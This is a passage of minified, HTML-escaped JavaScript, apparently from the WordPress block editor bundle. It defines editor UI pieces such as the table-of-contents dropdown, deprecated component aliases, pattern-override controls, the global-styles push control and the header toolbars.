n=(0,jQ.useSelect)(i=&gt;!!i(UQ.store).getBlockCount(),[]);return(0,XP.jsx)(QP.Dropdown,{popoverProps:{placement:t?&quot;right&quot;:&quot;bottom&quot;},className:&quot;table-of-contents&quot;,contentClassName:&quot;table-of-contents__popover&quot;,renderToggle:({isOpen:i,onToggle:a})=&gt;(0,XP.jsx)(QP.Button,{__next40pxDefaultSize:!0,...r,ref:o,onClick:n?a:void 0,icon:iA,&quot;aria-expanded&quot;:i,&quot;aria-haspopup&quot;:&quot;true&quot;,label:(0,VQ.__)(&quot;Details&quot;),tooltipPosition:&quot;bottom&quot;,&quot;aria-disabled&quot;:!n}),renderContent:({onClose:i})=&gt;(0,XP.jsx)(LQ,{onRequestClose:i,hasOutlineItemsDisabled:e})})}var HQ=(0,zQ.forwardRef)(RTe);var GQ=s(E(),1),WQ=s(D(),1),YQ=s(O(),1),qQ=s(W(),1);function ZQ(){let{__experimentalGetDirtyEntityRecords:e}=(0,YQ.useSelect)(qQ.store);return(0,WQ.useEffect)(()=&gt;{let t=r=&gt;{if(e().length&gt;0)return r.returnValue=(0,GQ.__)(&quot;You have unsaved changes. If you proceed, they will be lost.&quot;),r.returnValue};return window.addEventListener(&quot;beforeunload&quot;,t),()=&gt;{window.removeEventListener(&quot;beforeunload&quot;,t)}},[e]),null}var A4=s(Yi(),1),QQ=s(D(),1),te=s($(),1),JQ=s(XQ(),1),$Q=s(C(),1);function Ze(e,t,r=[]){let o=(0,QQ.forwardRef)((n,i)=&gt;((0,A4.default)(&quot;wp.editor.&quot;+e,{since:&quot;5.3&quot;,alternative:&quot;wp.blockEditor.&quot;+e,version:&quot;6.2&quot;}),(0,$Q.jsx)(t,{ref:i,...n})));return r.forEach(n=&gt;{o[n]=Ze(e+&quot;.&quot;+n,t[n])}),o}function Xa(e,t){return(...r)=&gt;((0,A4.default)(&quot;wp.editor.&quot;+e,{since:&quot;5.3&quot;,alternative:&quot;wp.blockEditor.&quot;+e,version:&quot;6.2&quot;}),t(...r))}var eJ=Ze(&quot;RichText&quot;,te.RichText,[&quot;Content&quot;]);eJ.isEmpty=Xa(&quot;RichText.isEmpty&quot;,te.RichText.isEmpty);var ATe=Ze(&quot;Autocomplete&quot;,te.Autocomplete),OTe=Ze(&quot;AlignmentToolbar&quot;,te.AlignmentToolbar),ITe=Ze(&quot;BlockAlignmentToolbar&quot;,te.BlockAlignmentToolbar),NTe=Ze(&quot;BlockControls&quot;,te.BlockControls,[&quot;Slot&quot;]),FTe=Ze(&quot;BlockEdit&quot;,te.BlockEdit),DTe=Ze(&quot;BlockEditorKeyboardShortcuts&quot;,te.BlockEditorKeyboardShortcuts),BTe=Ze(&quot;BlockFormatControls&quot;,te.BlockFormatControls,[&quot;Slot&quot;]),MTe=Ze(&quot;BlockIcon&quot;,te.BlockIcon),LTe=Ze(&quot;BlockInspector&quot;,te.BlockInspector),VTe=Ze(&quot;BlockList&quot;,te.BlockList),jTe=Ze(&quot;BlockMover&quot;,te.BlockMover),zTe=Ze(&quot;BlockNavigationDropdown&quot;,te.BlockNavigationDropdown),UTe=Ze(&quot;BlockSelectionClearer&quot;,te.BlockSelectionClearer),HTe=Ze(&quot;BlockSettingsMenu&quot;,te.BlockSettingsMenu),GTe=Ze(&quot;BlockTitle&quot;,te.BlockTitle),WTe=Ze(&quot;BlockToolbar&quot;,te.BlockToolbar),YTe=Ze(&quot;ColorPalette&quot;,te.ColorPalette),qTe=Ze(&quot;ContrastChecker&quot;,te.ContrastChecker),ZTe=Ze(&quot;CopyHandler&quot;,te.CopyHandler),KTe=Ze(&quot;DefaultBlockAppender&quot;,te.DefaultBlockAppender),XTe=Ze(&quot;FontSizePicker&quot;,te.FontSizePicker),QTe=Ze(&quot;Inserter&quot;,te.Inserter),JTe=Ze(&quot;InnerBlocks&quot;,te.InnerBlocks,[&quot;ButtonBlockAppender&quot;,&quot;DefaultBlockAppender&quot;,&quot;Content&quot;]),$Te=Ze(&quot;InspectorAdvancedControls&quot;,te.InspectorAdvancedControls,[&quot;Slot&quot;]),ePe=Ze(&quot;InspectorControls&quot;,te.InspectorControls,[&quot;Slot&quot;]),tPe=Ze(&quot;PanelColorSettings&quot;,te.PanelColorSettings),rPe=Ze(&quot;PlainText&quot;,te.PlainText),oPe=Ze(&quot;RichTextShortcut&quot;,te.RichTextShortcut),nPe=Ze(&quot;RichTextToolbarButton&quot;,te.RichTextToolbarButton),iPe=Ze(&quot;__unstableRichTextInputEvent&quot;,te.__unstableRichTextInputEvent),sPe=Ze(&quot;MediaPlaceholder&quot;,te.MediaPlaceholder),aPe=Ze(&quot;MediaUpload&quot;,te.MediaUpload),lPe=Ze(&quot;MediaUploadCheck&quot;,te.MediaUploadCheck),cPe=Ze(&quot;MultiSelectScrollIntoView&quot;,te.MultiSelectScrollIntoView),uPe=Ze(&quot;NavigableToolbar&quot;,te.NavigableToolbar),dPe=Ze(&quot;ObserveTyping&quot;,te.ObserveTyping),fPe=Ze(&quot;SkipToSelectedBlock&quot;,te.SkipToSelectedBlock),mPe=Ze(&quot;URLInput&quot;,te.URLInput),pPe=Ze(&quot;URLInputButton&quot;,te.URLInputButton),hPe=Ze(&quot;URLPopover&quot;,te.URLPopover),gPe=Ze(&quot;Warning&quot;,te.Warning),vPe=Ze(&quot;WritingFlow&quot;,te.WritingFlow),yPe=Xa(&quot;createCustomColorsHOC&quot;,te.createCustomColorsHOC),bPe=Xa(&quot;getColorClassName&quot;,te.getColorClassName),SPe=Xa(&quot;getColorObjectByAttributeValues&quot;,te.getColorObjectByAttributeValues),_Pe=Xa(&quot;getColorObjectByColorValue&quot;,te.getColorObjectByColorValue),wPe=Xa(&quot;getFontSize&quot;,te.getFontSize),xPe=Xa(&quot;getFontSizeClass&quot;,te.getFontSizeClass),CPe=Xa(&quot;withColorContext&quot;,te.withColorContext),TPe=Xa(&quot;withColors&quot;,te.withColors),PPe=Xa(&quot;withFontSizes&quot;,te.withFontSizes);var kPe=Tf,EPe=Tf;function RPe(e=[]){return e.push({...Zx}),e}(0,tJ.addFilter)(&quot;editor.Autocomplete.completers&quot;,&quot;editor/autocompleters/set-default-completers&quot;,RPe);var rJ=s(D(),1),O4=s(mo(),1),oJ=s(Yi(),1),JP=s(Yd(),1);var xg=s(C(),1),{MediaUploadModal:APe}=N(JP.privateApis),OPe=class extends rJ.Component{constructor(e){super(e),this.state={isOpen:!1},this.openModal=this.openModal.bind(this),this.closeModal=this.closeModal.bind(this)}openModal(){this.setState({isOpen:!0})}closeModal(){this.setState({isOpen:!1}),this.props.onClose?.()}render(){let{allowedTypes:e,multiple:t,value:r,onSelect:o,title:n,modalClass:i,render:a}=this.props,{isOpen:l}=this.state;return(0,xg.jsxs)(xg.Fragment,{children:[a({open:this.openModal}),(0,xg.jsx)(APe,{allowedTypes:e,multiple:t,value:r,onSelect:c=&gt;{o(c),this.closeModal()},onClose:this.closeModal,title:n,isOpen:l,modalClass:i})]})}};window.__experimentalDataViewsMediaModal?(0,O4.addFilter)(&quot;editor.MediaUpload&quot;,&quot;core/editor/components/media-upload&quot;,()=&gt;((0,oJ.default)(&quot;Extending MediaUpload as a class component&quot;,{since:&quot;7.0&quot;,version:&quot;7.2&quot;,hint:&quot;MediaUpload will become a function component in WordPress 7.2 Please update any custom implementations to use function components instead.&quot;}),OPe)):(0,O4.addFilter)(&quot;editor.MediaUpload&quot;,&quot;core/editor/components/media-upload&quot;,()=&gt;JP.MediaUpload);var iJ=s(mo(),1),sJ=s(Ls(),1),aJ=s(he(),1),$P=s($(),1),I4=s(O(),1),lJ=s(Xe(),1);var da=s(C(),1),{PatternOverridesControls:IPe,ResetOverridesControl:NPe,PATTERN_TYPES:FPe,PATTERN_SYNC_TYPES:nJ}=N(sJ.privateApis),DPe=(0,aJ.createHigherOrderComponent)(e=&gt;t=&gt;{let r=(0,I4.useSelect)(o=&gt;{let{__experimentalBlockBindingsSupportedAttributes:n}=o($P.store).getSettings();return!!n?.[t.name]},[t.name]);return(0,da.jsxs)(da.Fragment,{children:[(0,da.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;r&amp;&amp;(0,da.jsx)(BPe,{...t})]})},&quot;withPatternOverrideControls&quot;);function BPe(e){let t=(0,$P.useBlockEditingMode)(),{hasPatternOverridesSource:r,isEditingSyncedPattern:o}=(0,I4.useSelect)(c=&gt;{let{getCurrentPostType:u,getEditedPostAttribute:d}=c(w);return{hasPatternOverridesSource:!!(0,lJ.getBlockBindingsSource)(&quot;core/pattern-overrides&quot;),isEditingSyncedPattern:u()===FPe.user&amp;&amp;d(&quot;meta&quot;)?.wp_pattern_sync_status!==nJ.unsynced&amp;&amp;d(&quot;wp_pattern_sync_status&quot;)!==nJ.unsynced}},[]),n=e.attributes.metadata?.bindings,i=!!n&amp;&amp;Object.values(n).some(c=&gt;c.source===&quot;core/pattern-overrides&quot;),a=o&amp;&amp;t===&quot;default&quot;,l=!o&amp;&amp;!!e.attributes.metadata?.name&amp;&amp;t!==&quot;disabled&quot;&amp;&amp;i;return r?(0,da.jsxs)(da.Fragment,{children:[a&amp;&amp;(0,da.jsx)(IPe,{...e}),l&amp;&amp;(0,da.jsx)(NPe,{...e})]}):null}(0,iJ.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/with-pattern-override-controls&quot;,DPe);var cJ=s(mo(),1),uJ=s(he(),1),dJ=s(D(),1),N4=s(E(),1),Cg=s($(),1),ek=s(A(),1),fJ=s(O(),1),Qa=s(C(),1),MPe=[&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;];function LPe({attributes:e}){let{kind:t,id:r,type:o}=e,n=(0,Cg.useBlockEditingMode)(),i=(0,fJ.useSelect)(l=&gt;l(Cg.store).getSettings().onNavigateToEntityRecord,[]),a=(0,dJ.useCallback)(()=&gt;{t===&quot;post-type&quot;&amp;&amp;o===&quot;page&quot;&amp;&amp;r&amp;&amp;i&amp;&amp;i({postId:r,postType:o})},[t,r,o,i]);return t!==&quot;post-type&quot;||o!==&quot;page&quot;||!r||!i||n!==&quot;contentOnly&quot;?null:(0,Qa.jsx)(Cg.__unstableBlockToolbarLastItem,{children:(0,Qa.jsx)(ek.ToolbarGroup,{children:(0,Qa.jsx)(ek.ToolbarButton,{name:&quot;view&quot;,title:(0,N4.__)(&quot;View&quot;),onClick:a,children:(0,N4.__)(&quot;View&quot;)})})})}var VPe=(0,uJ.createHigherOrderComponent)(e=&gt;t=&gt;{let r=MPe.includes(t.name);return(0,Qa.jsxs)(Qa.Fragment,{children:[(0,Qa.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;r&amp;&amp;(0,Qa.jsx)(LPe,{...t})]})},&quot;withNavigationViewButton&quot;);(0,cJ.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/with-navigation-view-button&quot;,VPe);var mJ=s(mo(),1),pJ=s(he(),1),hJ=s(D(),1),F4=s(E(),1),Tg=s($(),1),tk=s(A(),1),ld=s(O(),1);var Ja=s(C(),1),jPe=&quot;core/navigation&quot;,zPe=&quot;core/template-part&quot;,UPe=&quot;edit-post/block&quot;;function HPe({clientId:e}){let t=(0,ld.useRegistry)(),{selectBlock:r,flashBlock:o}=(0,ld.useDispatch)(Tg.store),{requestInspectorTab:n}=N((0,ld.useDispatch)(Tg.store)),{enableComplementaryArea:i}=(0,ld.useDispatch)(Ce),{hasNavigationBlocks:a,firstNavigationBlockId:l,isNavigationEditable:c}=(0,ld.useSelect)(d=&gt;{let{getClientIdsOfDescendants:f,getBlockName:m,getBlockEditingMode:h}=d(Tg.store),v=f(e).filter(_=&gt;m(_)===jPe),y=v.length&gt;0,b=y?v[0]:null;return{hasNavigationBlocks:y,firstNavigationBlockId:b,isNavigationEditable:h(b)!==&quot;disabled&quot;}},[e]),u=(0,hJ.useCallback)(()=&gt;{l&amp;&amp;t.batch(()=&gt;{r(l),o(l,500),i(&quot;core&quot;,UPe),n(&quot;list&quot;,{openPanel:l})})},[l,t,r,o,i,n]);return!a||!c?null:(0,Ja.jsx)(Tg.__unstableBlockToolbarLastItem,{children:(0,Ja.jsx)(tk.ToolbarGroup,{children:(0,Ja.jsx)(tk.ToolbarButton,{label:(0,F4.__)(&quot;Edit navigation&quot;),onClick:u,children:(0,F4.__)(&quot;Edit navigation&quot;)})})})}var GPe=(0,pJ.createHigherOrderComponent)(e=&gt;t=&gt;{let r=t.name===zPe;return(0,Ja.jsxs)(Ja.Fragment,{children:[(0,Ja.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;r&amp;&amp;(0,Ja.jsx)(HPe,{clientId:t.clientId})]})},&quot;withTemplatePartNavigationEditButton&quot;);(0,mJ.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/with-template-part-navigation-edit-button&quot;,GPe);var yJ=s(mo(),1),bJ=s(he(),1),cd=s($(),1),E0=s(A(),1),Ec=s(E(),1),Rc=s(Xe(),1),ok=s(D(),1),Pg=s(O(),1),SJ=s(ct(),1),_J=s(W(),1);function D4(e,t,r){return!e||typeof e!=&quot;object&quot;||t.reduce((o,n,i)=&gt;(o[n]===void 0&amp;&amp;(Number.isInteger(t[i+1])?o[n]=[]:o[n]={}),i===t.length-1&amp;&amp;(o[n]=r),o[n]),e),e}var Ss=s(C(),1),{cleanEmptyObject:WPe}=N(cd.privateApis),gJ={...Rc.__EXPERIMENTAL_STYLE_PROPERTY,blockGap:{value:[&quot;spacing&quot;,&quot;blockGap&quot;]}},YPe={&quot;border.color&quot;:&quot;color&quot;,&quot;color.background&quot;:&quot;color&quot;,&quot;color.text&quot;:&quot;color&quot;,&quot;elements.link.color.text&quot;:&quot;color&quot;,&quot;elements.link.:hover.color.text&quot;:&quot;color&quot;,&quot;elements.link.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.link.typography.fontSize&quot;:&quot;font-size&quot;,&quot;elements.button.color.text&quot;:&quot;color&quot;,&quot;elements.button.color.background&quot;:&quot;color&quot;,&quot;elements.button.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.button.typography.fontSize&quot;:&quot;font-size&quot;,&quot;elements.caption.color.text&quot;:&quot;color&quot;,&quot;elements.heading.color&quot;:&quot;color&quot;,&quot;elements.heading.color.background&quot;:&quot;color&quot;,&quot;elements.heading.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.heading.gradient&quot;:&quot;gradient&quot;,&quot;elements.heading.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h1.color&quot;:&quot;color&quot;,&quot;elements.h1.color.background&quot;:&quot;color&quot;,&quot;elements.h1.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h1.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h2.color&quot;:&quot;color&quot;,&quot;elements.h2.color.background&quot;:&quot;color&quot;,&quot;elements.h2.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h2.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h3.color&quot;:&quot;color&quot;,&quot;elements.h3.color.background&quot;:&quot;color&quot;,&quot;elements.h3.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h3.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h4.color&quot;:&quot;color&quot;,&quot;elements.h4.color.background&quot;:&quot;color&quot;,&quot;elements.h4.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h4.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h5.color&quot;:&quot;color&quot;,&quot;elements.h5.color.background&quot;:&quot;color&quot;,&quot;elements.h5.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h5.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h6.color&quot;:&quot;color&quot;,&quot;elements.h6.color.background&quot;:&quot;color&quot;,&quot;elements.h6.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h6.color.gradient&quot;:&quot;gradient&quot;,&quot;color.gradient&quot;:&quot;gradient&quot;,blockGap:&quot;spacing&quot;,&quot;typography.fontSize&quot;:&quot;font-size&quot;,&quot;typography.fontFamily&quot;:&quot;font-family&quot;},qPe={&quot;border.color&quot;:&quot;borderColor&quot;,&quot;color.background&quot;:&quot;backgroundColor&quot;,&quot;color.text&quot;:&quot;textColor&quot;,&quot;color.gradient&quot;:&quot;gradient&quot;,&quot;typography.fontSize&quot;:&quot;fontSize&quot;,&quot;typography.fontFamily&quot;:&quot;fontFamily&quot;},ZPe=[&quot;border&quot;,&quot;color&quot;,&quot;spacing&quot;,&quot;typography&quot;],vJ=(e,t)=&gt;{let r=e;return t.forEach(o=&gt;{r=r?.[o]}),r},KPe=[&quot;borderColor&quot;,&quot;borderWidth&quot;,&quot;borderStyle&quot;],wJ=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;];function XPe(e,t,r){if(!e&amp;&amp;!t)return[];let o=[...rk(&quot;top&quot;,e,r),...rk(&quot;right&quot;,e,r),...rk(&quot;bottom&quot;,e,r),...rk(&quot;left&quot;,e,r)],{color:n,style:i,width:a}=e||{};return(t||n||a)&amp;&amp;!i&amp;&amp;wJ.forEach(c=&gt;{r?.[c]?.style||o.push({path:[&quot;border&quot;,c,&quot;style&quot;],value:&quot;solid&quot;})}),o}function rk(e,t,r){if(!t?.[e]||r?.[e]?.style)return[];let{color:o,style:n,width:i}=t[e];return!(o||i)||n?[]:[{path:[&quot;border&quot;,e,&quot;style&quot;],value:&quot;solid&quot;}]}function QPe(e,t,r){let o=(0,Pg.useSelect)(i=&gt;N(i(Rc.store)).getSupportedStyles(e),[e]),n=r?.styles?.blocks?.[e];return(0,ok.useMemo)(()=&gt;{let i=o.flatMap(a=&gt;{if(!gJ[a])return[];let{value:l}=gJ[a],c=l.join(&quot;.&quot;),u=t[qPe[c]],d=u?`var:preset|${YPe[c]}|${u}`:vJ(t.style,l);if(a===&quot;linkColor&quot;){let f=d?[{path:l,value:d}]:[],m=[&quot;elements&quot;,&quot;link&quot;,&quot;:hover&quot;,&quot;color&quot;,&quot;text&quot;],h=vJ(t.style,m);return h&amp;&amp;f.push({path:m,value:h}),f}if(KPe.includes(a)&amp;&amp;d){let f=[{path:l,value:d}];return wJ.forEach(m=&gt;{let h=[...l];h.splice(-1,0,m),f.push({path:h,value:d})}),f}return d?[{path:l,value:d}]:[]});return XPe(t.style?.border,t.borderColor,n?.border).forEach(a=&gt;i.push(a)),i},[o,t,n])}function JPe({name:e,attributes:t,setAttributes:r}){let{user:o,setUser:n}=xo(),i=QPe(e,t,o),{__unstableMarkNextChangeAsNotPersistent:a}=(0,Pg.useDispatch)(cd.store),{createSuccessNotice:l}=(0,Pg.useDispatch)(SJ.store),c=(0,ok.useCallback)(()=&gt;{if(i.length!==0&amp;&amp;i.length&gt;0){let{style:u}=t,d=structuredClone(u),f=structuredClone(o);for(let{path:h,value:g}of i)D4(d,h,void 0),D4(f,[&quot;styles&quot;,&quot;blocks&quot;,e,...h],g);let m={borderColor:void 0,backgroundColor:void 0,textColor:void 0,gradient:void 0,fontSize:void 0,fontFamily:void 0,style:WPe(d)};a(),r(m),n(f,{undoIgnore:!0}),l((0,Ec.sprintf)((0,Ec.__)(&quot;%s styles applied.&quot;),(0,Rc.getBlockType)(e).title),{type:&quot;snackbar&quot;,actions:[{label:(0,Ec.__)(&quot;Undo&quot;),onClick(){a(),r(t),n(o,{undoIgnore:!0})}}]})}},[a,t,i,l,e,r,n,o]);return(0,Ss.jsxs)(E0.BaseControl,{className:&quot;editor-push-changes-to-global-styles-control&quot;,help:(0,Ec.sprintf)((0,Ec.__)(&quot;Apply this block\u2019s typography, spacing, dimensions, and color styles to all %s blocks.&quot;),(0,Rc.getBlockType)(e).title),children:[(0,Ss.jsx)(E0.BaseControl.VisualLabel,{children:(0,Ec.__)(&quot;Styles&quot;)}),(0,Ss.jsx)(E0.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,accessibleWhenDisabled:!0,disabled:i.length===0,onClick:c,children:(0,Ec.__)(&quot;Apply globally&quot;)})]})}function $Pe(e){let t=(0,cd.useBlockEditingMode)(),r=(0,Pg.useSelect)(i=&gt;i(_J.store).getCurrentTheme()?.is_block_theme,[]),o=ZPe.some(i=&gt;(0,Rc.hasBlockSupport)(e.name,i));return t===&quot;default&quot;&amp;&amp;o&amp;&amp;r?(0,Ss.jsx)(cd.InspectorAdvancedControls,{children:(0,Ss.jsx)(JPe,{...e})}):null}var eke=(0,bJ.createHigherOrderComponent)(e=&gt;t=&gt;(0,Ss.jsxs)(Ss.Fragment,{children:[(0,Ss.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;(0,Ss.jsx)($Pe,{...t})]}));(0,yJ.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/push-changes-to-global-styles&quot;,eke);var R0=s(A(),1),xJ=s(C(),1),B4=&quot;__experimentalMainDashboardButton&quot;,CJ=()=&gt;{let e=(0,R0.__experimentalUseSlotFills)(B4);return!!(e&amp;&amp;e.length)},{Fill:tke,Slot:rke}=(0,R0.createSlotFill)(B4),TJ=tke,oke=()=&gt;{let e=(0,R0.__experimentalUseSlotFills)(B4);return(0,xJ.jsx)(rke,{bubblesVirtually:!0,fillProps:{length:e?e.length:0}})};TJ.Slot=oke;var nk=TJ;var Ose=s(O(),1),Ise=s(W(),1),Nse=s(A(),1),Fse=s(E(),1);var fE=s(O(),1),Nd=s(E(),1),une=s(lt(),1),mE=s($(),1),dne=s(he(),1),pE=s(D(),1),fne=s(ft(),1),mne=s(ct(),1);var Q$=s($(),1),J$=s(O(),1),B0=s(he(),1),$$=s(lt(),1),eee=s(D(),1);var kg=s($(),1),PJ=s(D(),1),ik=s(A(),1),M4=s(E(),1);var kJ=s(O(),1);var Ac=s(C(),1),{useHasBlockToolbar:nke}=N(kg.privateApis);function EJ({isCollapsed:e,onToggle:t}){let{blockSelectionStart:r}=(0,kJ.useSelect)(i=&gt;({blockSelectionStart:i(kg.store).getBlockSelectionStart()}),[]),o=nke(),n=!!r;return(0,PJ.useEffect)(()=&gt;{r&amp;&amp;t(!1)},[r,t]),o?(0,Ac.jsxs)(Ac.Fragment,{children:[(0,Ac.jsx)(&quot;div&quot;,{className:re(&quot;editor-collapsible-block-toolbar&quot;,{&quot;is-collapsed&quot;:e||!n}),children:(0,Ac.jsx)(kg.BlockToolbar,{hideDragHandle:!0})}),(0,Ac.jsx)(ik.Popover.Slot,{name:&quot;block-toolbar&quot;}),(0,Ac.jsx)(ik.Button,{className:&quot;editor-collapsible-block-toolbar__toggle&quot;,icon:e?Tl:kl,onClick:()=&gt;{t(!e)},label:e?(0,M4.__)(&quot;Show block tools&quot;):(0,M4.__)(&quot;Hide block tools&quot;),size:&quot;compact&quot;})]}):null}var RJ=s(he(),1),sk=s(O(),1),Tm=s(E(),1),AJ=s($(),1),Eg=s(A(),1);var L4=s(D(),1),OJ=s(Oi(),1),IJ=s(lt(),1);var fa=s(C(),1);function ike({className:e,disableBlockTools:t=!1}){let{setIsInserterOpened:r,setIsListViewOpened:o}=(0,sk.useDispatch)(w),{isDistractionFree:n,isInserterOpened:i,isListViewOpen:a,listViewShortcut:l,inserterSidebarToggleRef:c,listViewToggleRef:u,showIconLabels:d}=(0,sk.useSelect)(_=&gt;{let{get:S}=_(IJ.store),{isListViewOpened:x,getEditorMode:T,getInserterSidebarToggleRef:R,getListViewToggleRef:F}=N(_(w)),{getShortcutRepresentation:B}=_(OJ.store);return{isInserterOpened:_(w).isInserterOpened(),isListViewOpen:x(),listViewShortcut:B(&quot;core/editor/toggle-list-view&quot;),inserterSidebarToggleRef:R(),listViewToggleRef:F(),showIconLabels:S(&quot;core&quot;,&quot;showIconLabels&quot;),isDistractionFree:S(&quot;core&quot;,&quot;distractionFree&quot;),isVisualMode:T()===&quot;visual&quot;}},[]),f=_=&gt;{i&amp;&amp;_.preventDefault()},m=(0,RJ.useViewportMatch)(&quot;wide&quot;),h=(0,Tm.__)(&quot;Document tools&quot;),g=(0,L4.useCallback)(()=&gt;o(!a),[o,a]),v=(0,L4.useCallback)(()=&gt;r(!i),[i,r]),y=(0,Tm._x)(&quot;Block Inserter&quot;,&quot;Generic label for block inserter button&quot;),b=i?(0,Tm.__)(&quot;Close&quot;):(0,Tm.__)(&quot;Add&quot;);return(0,fa.jsx)(AJ.NavigableToolbar,{className:re(&quot;editor-document-tools&quot;,&quot;edit-post-header-toolbar&quot;,e),&quot;aria-label&quot;:h,variant:&quot;unstyled&quot;,children:(0,fa.jsxs)(&quot;div&quot;,{className:&quot;editor-document-tools__left&quot;,children:[!n&amp;&amp;(0,fa.jsx)(Eg.ToolbarButton,{ref:c,className:&quot;editor-document-tools__inserter-toggle&quot;,variant:&quot;primary&quot;,isPressed:i,onMouseDown:f,onClick:v,disabled:t,icon:Pl,label:d?b:y,showTooltip:!d,&quot;aria-expanded&quot;:i}),(m||!d)&amp;&amp;(0,fa.jsxs)(fa.Fragment,{children:[(0,fa.jsx)(Eg.ToolbarItem,{as:_C,showTooltip:!d,variant:d?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;}),(0,fa.jsx)(Eg.ToolbarItem,{as:yC,showTooltip:!d,variant:d?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;}),!n&amp;&amp;(0,fa.jsx)(Eg.ToolbarButton,{className:&quot;editor-document-tools__document-overview-toggle&quot;,icon:Iv,disabled:t,isPressed:a,label:(0,Tm.__)(&quot;Document Overview&quot;),onClick:g,shortcut:l,showTooltip:!d,variant:d?&quot;tertiary&quot;:void 0,&quot;aria-expanded&quot;:a,ref:u})]})]})})}var NJ=ike;var A0=s(A(),1);var ud=s(C(),1),V4={distractionFreeDisabled:{y:&quot;-50px&quot;},distractionFreeHover:{y:0},distractionFreeHidden:{y:&quot;-50px&quot;},visible:{y:0},hidden:{y:0}},ske={distractionFreeDisabled:{x:&quot;-100%&quot;},distractionFreeHover:{x:0},distractionFreeHidden:{x:&quot;-100%&quot;},visible:{x:0},hidden:{x:0}};function ak({className:e,toolbar:t,center:r,settings:o}){let n=CJ();return(0,ud.jsxs)(&quot;div&quot;,{className:re(&quot;editor-header edit-post-header&quot;,e),children:[n&amp;&amp;(0,ud.jsx)(A0.__unstableMotion.div,{className:&quot;editor-header__back-button&quot;,variants:ske,transition:{type:&quot;tween&quot;},children:(0,ud.jsx)(nk.Slot,{})}),(0,ud.jsx)(A0.__unstableMotion.div,{variants:V4,className:&quot;editor-header__toolbar&quot;,transition:{type:&quot;tween&quot;},children:t}),r&amp;&amp;(0,ud.jsx)(A0.__unstableMotion.div,{variants:V4,className:&quot;editor-header__center&quot;,transition:{type:&quot;tween&quot;},children:r}),(0,ud.jsx)(A0.__unstableMotion.div,{variants:V4,transition:{type:&quot;tween&quot;},className:&quot;editor-header__settings&quot;,children:o})]})}var gr=s(E(),1),Rg=s(O(),1),U4=s(yo(),1);var _s=s(A(),1),Pm=s(lt(),1);var FJ=s(A(),1),O0=s(O(),1),j4=s(E(),1),DJ=s(he(),1),BJ=s(ct(),1),MJ=s(W(),1),LJ=s(Xe(),1);var VJ=s(C(),1);function jJ(){let{createNotice:e}=(0,O0.useDispatch)(BJ.store),{getCurrentPostId:t,getCurrentPostType:r}=(0,O0.useSelect)(w),{getEditedEntityRecord:o}=(0,O0.useSelect)(MJ.store);function n(){let l=o(&quot;postType&quot;,r(),t());if(!l)return&quot;&quot;;if(typeof l.content==&quot;function&quot;)return l.content(l);if(l.blocks)return(0,LJ.__unstableSerializeAndClean)(l.blocks);if(l.content)return l.content}function i(){e(&quot;info&quot;,(0,j4.__)(&quot;All content copied.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})}let a=(0,DJ.useCopyToClipboard)(n,i);return(0,VJ.jsx)(FJ.MenuItem,{ref:a,children:(0,j4.__)(&quot;Copy all blocks&quot;)})}var I0=s(E(),1),lk=s(A(),1),ck=s(O(),1),zJ=s(Oi(),1);var z4=s(C(),1),ake=[{value:&quot;visual&quot;,label:(0,I0.__)(&quot;Visual editor&quot;)},{value:&quot;text&quot;,label:(0,I0.__)(&quot;Code editor&quot;)}];function lke(){let{shortcut:e,isRichEditingEnabled:t,isCodeEditingEnabled:r,mode:o}=(0,ck.useSelect)(l=&gt;({shortcut:l(zJ.store).getShortcutRepresentation(&quot;core/editor/toggle-mode&quot;),isRichEditingEnabled:l(w).getEditorSettings().richEditingEnabled,isCodeEditingEnabled:l(w).getEditorSettings().codeEditingEnabled,mode:l(w).getEditorMode()}),[]),{switchEditorMode:n}=(0,ck.useDispatch)(w),i=o;!t&amp;&amp;o===&quot;visual&quot;&amp;&amp;(i=&quot;text&quot;),!r&amp;&amp;o===&quot;text&quot;&amp;&amp;(i=&quot;visual&quot;);let a=ake.map(l=&gt;(!r&amp;&amp;l.value===&quot;text&quot;&amp;&amp;(l={...l,disabled:!0}),!t&amp;&amp;l.value===&quot;visual&quot;&amp;&amp;(l={...l,disabled:!0,info:(0,I0.__)(&quot;You can enable the visual editor in your profile settings.&quot;)}),l.value!==i&amp;&amp;!l.disabled?{...l,shortcut:e}:l));return(0,z4.jsx)(lk.MenuGroup,{label:(0,I0.__)(&quot;Editor&quot;),children:(0,z4.jsx)(lk.MenuItemsChoice,{choices:a,value:i,onSelect:n})})}var UJ=lke;var HJ=s(A(),1),GJ=s(C(),1),{Fill:WJ,Slot:cke}=(0,HJ.createSlotFill)(&quot;ToolsMoreMenuGroup&quot;);WJ.Slot=({fillProps:e})=&gt;(0,GJ.jsx)(cke,{fillProps:e});var uk=WJ;var 